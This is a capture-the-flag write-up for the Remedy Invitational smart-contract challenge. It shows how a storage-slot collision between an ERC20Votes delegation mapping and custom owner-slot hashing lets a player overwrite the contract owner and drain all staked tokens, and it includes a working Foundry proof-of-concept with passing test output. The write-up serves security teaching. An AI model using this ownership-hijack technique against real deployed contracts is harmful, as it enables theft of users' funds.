Remedy Invitational Challenge Writeup

24-12-2023 - rekter0

Remedy Invitational Challenge

## Overview:

In this challenge, we are provided with a Foundry project repository containing four smart contracts and a solve script template:

  • Challenge.sol: Setup contract to start the challenge and check if solved.
  • Config.sol: Initiate and manage storage slots for variables used by VoteLockup.
  • RewardToken.sol: ERC20 token contract for a token given as a reward for stakers of Token on VoteLockup.
  • Token.sol: The core token used for staking at this protocol.
  • VoteLockup.sol: Contract is ERC20Votes that manages staking of Token, implementing a custom owner management flow.

## Goal:

Challenge deploys the challenge contracts as the following:

  1. Deploy Token contract.
  2. Mints 101 Tokens.
  3. Deploy VoteLockup and renounce its ownership.
  4. Stake 100 Tokens in VoteLockup by locking them.
  5. Transfer 1 Token to the player.

The isSolved() function verifies that the VoteLockup Token's balance is zero and the player token's balance is all the minted tokens. To win, we need to steal the entire Token supply, starting with just 1 out of 101.

VoteLockup has an emergencyRescue() function that only the owner can call to withdraw all tokens within the contract which looks like perfect function to reach in order to win, so we have to become owner first.

    function emergencyRescue() external {
        require(msg.sender == _owner(), "ONLY_OWNER");
        token.safeTransfer(msg.sender, token.balanceOf(address(this)));
    }

## Exploit

### VoteLockup

The VoteLockup contract inherits OZ's ERC20Votes and Config.sol. The transferLock() function calls _delegate() on two instances:

_delegate(to, delegates(msg.sender));
_delegate(msg.sender, address(0));

Inspecting _delegate(), we find it writes into the _delegate mapping:

    /**
     * @dev Change delegation for `delegator` to `delegatee`.
     *
     * Emits events {IVotes-DelegateChanged} and {IVotes-DelegateVotesChanged}.
     */
    function _delegate(address delegator, address delegatee) internal virtual {
        address currentDelegate = delegates(delegator);
        uint256 delegatorBalance = balanceOf(delegator);
        _delegates[delegator] = delegatee;

        emit DelegateChanged(delegator, currentDelegate, delegatee);

        _moveVotingPower(currentDelegate, delegatee, delegatorBalance);
    }

Thus, transferLock() allows us to write into _delegates[address] with the value of delegates(msg.sender).

delegates(address) simply returns value of _delegates[address]

    /**
     * @dev Get the address `account` is currently delegating to.
     */
    function delegates(address account) public view virtual override returns (address) {
        return _delegates[account];
    }

delegate(address) function is public, we can control the value that will be written to _delegates[msg.sender]

This gives us a write primitive within the _delegates mapping as the following

  1. Set value through delegate
  2. Set key through transferLock

### Storage

The _delegates mapping storage slots are calculated using keccak256(abi.encode(address Key, Mapping Slot)). The storage slots in Config are somewhat similarly calculated:

    // keccak256(abi.encodePacked(COUNTER, NAME, VERSION))
    // (uint128(0), "VoteLockup.rewardRate", uint256(9))
    bytes32 constant REWARD_RATE_SLOT = 0x7bc22115e5cd3713a0f6721303f7eb2389262fa5d009845c6c51b310d68ca352;
    // (uint128(1), "VoteLockup.minLockupPeriod", uint256(9))
    bytes32 constant MIN_LOCKUP_PERIOD_SLOT = 0x3f46bd0aba5226434523d391004bb9f814291a0dc2d3bacc563bf6c3583644f2;
    // (uint128(2), "VoteLockup.maxLockupPeriod", uint256(9))
    bytes32 constant MAX_LOCKUP_PERIOD_SLOT = 0xcd5fe05096455ae720c1f27bac9d8e5496a6c821af1c001f4e50c0d3c53f27b6;
    // (uint128(3), "VoteLockup.owner", uint256(9))
    bytes32 constant OWNER_SLOT = 0x1c74dc1e791d52b055e12f7becf77d0eadb955c09f51ff245f7130b2a5096380;
    // (uint128(4), "VoteLockup.pendingOwner", uint256(9))
    bytes32 constant PENDING_OWNER_SLOT = 0x04a5b7bff5b90659a111a7f3aa8e617c4544923811334d130f59ef4248663d8c;

By Inspecting storage layout of VoteLockup contract we find that _delegates mapping have storage slot of 9 which is same version in the calculation of Config storage, coincidence ?

$ forge inspect ./src/VoteLockup.sol:VoteLockup storage --pretty

| Name                             | Type                                               | Slot | Offset | Bytes | Contract                      |
|----------------------------------|----------------------------------------------------|------|--------|-------|-------------------------------|
| _balances                        | mapping(address => uint256)                        | 0    | 0      | 32    | src/VoteLockup.sol:VoteLockup |
| _allowances                      | mapping(address => mapping(address => uint256))    | 1    | 0      | 32    | src/VoteLockup.sol:VoteLockup |
| _totalSupply                     | uint256                                            | 2    | 0      | 32    | src/VoteLockup.sol:VoteLockup |
| _name                            | string                                             | 3    | 0      | 32    | src/VoteLockup.sol:VoteLockup |
| _symbol                          | string                                             | 4    | 0      | 32    | src/VoteLockup.sol:VoteLockup |
| _nameFallback                    | string                                             | 5    | 0      | 32    | src/VoteLockup.sol:VoteLockup |
| _versionFallback                 | string                                             | 6    | 0      | 32    | src/VoteLockup.sol:VoteLockup |
| _nonces                          | mapping(address => struct Counters.Counter)        | 7    | 0      | 32    | src/VoteLockup.sol:VoteLockup |
| _PERMIT_TYPEHASH_DEPRECATED_SLOT | bytes32                                            | 8    | 0      | 32    | src/VoteLockup.sol:VoteLockup |
| _delegates                       | mapping(address => address)                        | 9    | 0      | 32    | src/VoteLockup.sol:VoteLockup |
| _checkpoints                     | mapping(address => struct ERC20Votes.Checkpoint[]) | 10   | 0      | 32    | src/VoteLockup.sol:VoteLockup |
| _totalSupplyCheckpoints          | struct ERC20Votes.Checkpoint[]                     | 11   | 0      | 32    | src/VoteLockup.sol:VoteLockup |
| lockCounter                      | uint256                                            | 12   | 0      | 32    | src/VoteLockup.sol:VoteLockup |
| locks                            | mapping(uint256 => struct VoteLockup.Lock)         | 13   | 0      | 32    | src/VoteLockup.sol:VoteLockup |

This makes Config storage possibly fall within the storage of _delegates mapping values

Rechecking how to hash is calculated for the VoteLockup.owner and a random address storage value on _delegates:

»  abi.encode(address(0x01),uint256(9))
0x00000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000009
 »  abi.encodePacked(uint128(3), "VoteLockup.owner", uint256(9))
0x00000000000000000000000000000003566f74654c6f636b75702e6f776e65720000000000000000000000000000000000000000000000000000000000000009

0x0000000000000000000000000000000000000000000000000000000000000001 is bytes32(uint256(uint160(address(0x1)))) so we need 0x00000000000000000000000000000003566f74654c6f636b75702e6f776e6572 as an address which we can generate as the following:

 »  address(uint160(uint256(bytes32(abi.encodePacked(bytes16(uint128(3)),bytes("VoteLockup.owner"))))))
0x00000003566f74654c6F636B75702e6F776e6572

this was the final part we needed to use our write primitive to overwrite the owner storage slot and call emergencyRescue() to win

### POC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "src/Challenge.sol";
import "src/Token.sol";
import "src/VoteLockup.sol";

contract Solve is Test {
    address player1 = address(0x0a);

    function encodeThis(
        uint128 number,
        string memory text
    ) public pure returns (address) {
        bytes16 numberBytes = bytes16(number);
        bytes memory textBytes = bytes(text);
        bytes memory combined = abi.encodePacked(numberBytes, textBytes);
        return address(uint160(uint256(bytes32(combined))));
    }

    function testSolve() public {
        vm.startPrank(player1);

        Challenge challenge = new Challenge();

        Token token = challenge.token();
        VoteLockup voteLockup = challenge.voteLockup();

        token.approve(address(voteLockup), 1 ether);
        voteLockup.lock(1 ether, 7 days);
        voteLockup.delegate(player1);

        voteLockup.transferLock(
            voteLockup.lockCounter(),
            encodeThis(3, "VoteLockup.owner")
        );

        voteLockup.emergencyRescue();

        assert(challenge.isSolved());
    }
}
$ forge test
[⠒] Compiling...
No files changed, compilation skipped

Running 1 test for test/Solve.sol:Solve
[PASS] testSolve() (gas: 4515177)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.21ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

evm - storage - remedyxyz - blockchain - ctf

CONTACT



rekter0 © 2024